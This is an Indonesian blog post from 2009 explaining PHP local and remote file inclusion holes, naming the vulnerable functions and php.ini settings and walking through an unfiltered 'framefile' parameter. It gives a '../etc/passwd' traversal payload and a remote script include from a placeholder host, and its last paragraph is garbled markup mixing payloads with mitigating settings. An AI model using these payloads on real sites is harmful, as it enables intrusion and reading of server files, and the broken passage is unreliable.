17 Agustus 2009

Remote File Inclusion

Gambaran singkat
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.


Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
include();
include_once();
require();
require_once();

Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,

Code:
Code:



misal $framefile=main.php
mungkin di url akan terlihat seperti ini bentuknya
http://www.[target].com/index.php?framefile=main.php
maka script ini akan menampilkan halaman main.php.

nah disini attacker akan dapat melakukan LFI karena variable framefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << magic_quotes_gpc =" off)" framefile="../../../../../../../../../etc/passwd" framefile="http://www.[remote].com/script.txt" allow_url_include =" off" allow_url_fopen =" off" magic_quotes_gpc =" on" framefile="http://www.[remote].com/script.txt">

ShoutMix chat widget